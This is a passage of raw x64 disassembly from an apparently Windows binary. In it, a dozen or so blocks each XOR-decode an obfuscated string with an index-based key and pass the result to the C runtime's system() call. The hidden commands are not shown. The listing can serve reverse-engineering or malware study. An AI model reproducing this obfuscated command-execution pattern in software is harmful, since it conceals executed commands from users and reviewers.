lea rcx, [rcx + 8]
paddd xmm2, xmm10
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm10
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add edx, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, r8d
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp edx, 0x40
jl 0x1400609b0
jmp 0x140060ae1
mov r9, r10
mov r8d, r14d
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, dl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x40
jl 0x140060ab0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x1e60]
lea rcx, [rbp + 0x7a]
mov byte [rbp + 0x7a], al
call fcn.140075290
mov r10, rax
cmp byte [rax + 0x14], 0
je 0x140060c61
mov r8d, r14d
cmp r15d, 2
jl 0x140060c23
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm10
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x10
jl 0x140060b30
cmp r8d, 0x15
jge 0x140060c61
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x15
jl 0x140060c30
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x1e75]
lea rcx, [rbp + 0x7b]
mov byte [rbp + 0x7b], al
call fcn.1400752c0
mov r10, rax
cmp byte [rax + 0x15], 0
je 0x140060de1
mov r8d, r14d
cmp r15d, 2
jl 0x140060da3
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm10
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x10
jl 0x140060cb0
cmp r8d, 0x16
jge 0x140060de1
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x16
jl 0x140060db0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x1ebb]
lea rcx, [rbp + 0x7c]
mov byte [rbp + 0x7c], al
call fcn.1400752f0
mov r10, rax
cmp byte [rax + 0x18], 0
je 0x140060f61
mov r8d, r14d
cmp r15d, 2
jl 0x140060f23
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm10
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x18
jl 0x140060e30
cmp r8d, 0x19
jge 0x140060f61
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x19
jl 0x140060f30
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x1f51]
lea rcx, [rbp + 0x7d]
mov byte [rbp + 0x7d], al
call fcn.140075320
mov r10, rax
cmp byte [rax + 0x19], 0
je 0x1400610e1
mov r8d, r14d
cmp r15d, 2
jl 0x1400610a3
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm10
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x18
jl 0x140060fb0
cmp r8d, 0x1a
jge 0x1400610e1
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x1a
jl 0x1400610b0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x1e8b]
lea rcx, [rbp + 0x7e]
mov byte [rbp + 0x7e], al
call fcn.140075350
mov r10, rax
cmp byte [rax + 0x17], 0
je 0x140061261
cmp r15d, 2
jl 0x14006121d
movdqa xmmword [rbp + 0x10], xmm13
mov edx, r14d
mov r8d, dword [rbp + 0x10]
mov rcx, rax
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm10
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add edx, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, r8d
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp edx, 0x18
jl 0x140061130
jmp 0x140061261
mov r9, r10
mov r8d, r14d
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, dl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x18
jl 0x140061230
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x1ea3]
lea rcx, [rbp + 0x7f]
mov byte [rbp + 0x7f], al
call fcn.140075370
mov r10, rax
cmp byte [rax + 0x17], 0
je 0x1400613e1
cmp r15d, 2
jl 0x14006139d
movdqa xmmword [rbp + 0x10], xmm13
mov edx, r14d
mov r8d, dword [rbp + 0x10]
mov rcx, rax
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm10
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add edx, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, r8d
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp edx, 0x18
jl 0x1400612b0
jmp 0x1400613e1
mov r9, r10
mov r8d, r14d
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, dl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x18
jl 0x1400613b0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x1ed4]
lea rcx, [rbp + 0x80]
mov byte [rbp + 0x80], al
call fcn.140075390
mov r10, rax
cmp byte [rax + 0x18], 0
je 0x140061561
mov r8d, r14d
cmp r15d, 2
jl 0x140061523
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm10
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x18
jl 0x140061430
cmp r8d, 0x19
jge 0x140061561
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x19
jl 0x140061530
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x1f6b]
lea rcx, [rbp + 0x81]
mov byte [rbp + 0x81], al
call fcn.1400753c0
mov r10, rax
cmp byte [rax + 0x19], 0
je 0x1400616e1
mov r8d, r14d
cmp r15d, 2
jl 0x1400616a3
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm10
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x18
jl 0x1400615b0
cmp r8d, 0x1a
jge 0x1400616e1
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x1a
jl 0x1400616b0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x1f85]
lea rcx, [rbp + 0x82]
mov byte [rbp + 0x82], al
call fcn.1400753f0
mov r10, rax
cmp byte [rax + 0x19], 0
je 0x140061861
mov r8d, r14d
cmp r15d, 2
jl 0x140061823
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm10
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x18
jl 0x140061730
cmp r8d, 0x1a
jge 0x140061861
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x1a
jl 0x140061830
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x1eed]
lea rcx, [rbp + 0x83]
mov byte [rbp + 0x83], al
call fcn.140075420
mov r10, rax
cmp byte [rax + 0x18], 0
je 0x1400619e1
mov r8d, r14d
cmp r15d, 2
jl 0x1400619a3
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm10
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x18
jl 0x1400618b0
cmp r8d, 0x19
jge 0x1400619e1
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x19
jl 0x1400619b0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x200a]
lea rcx, [rbp + 0x84]
mov byte [rbp + 0x84], al
call fcn.140075450
mov r10, rax
cmp byte [rax + 0x1c], 0
je 0x140061b61
mov r8d, r14d
cmp r15d, 2
jl 0x140061b23
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm10
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x18
jl 0x140061a30
cmp r8d, 0x1d
jge 0x140061b61
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x1d
jl 0x140061b30
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x2ce0]
lea rcx, [rbp + 0x85]
mov byte [rbp + 0x85], al
call fcn.140075480
mov r10, rax
cmp byte [rax + 0x20], 0
je 0x140061ce1
mov r8d, r14d
cmp r15d, 2
jl 0x140061ca3
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm10
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x20
jl 0x140061bb0
cmp r8d, 0x21
jge 0x140061ce1
movsxd r9, r8d
add r9, r10
nop dword [rax]
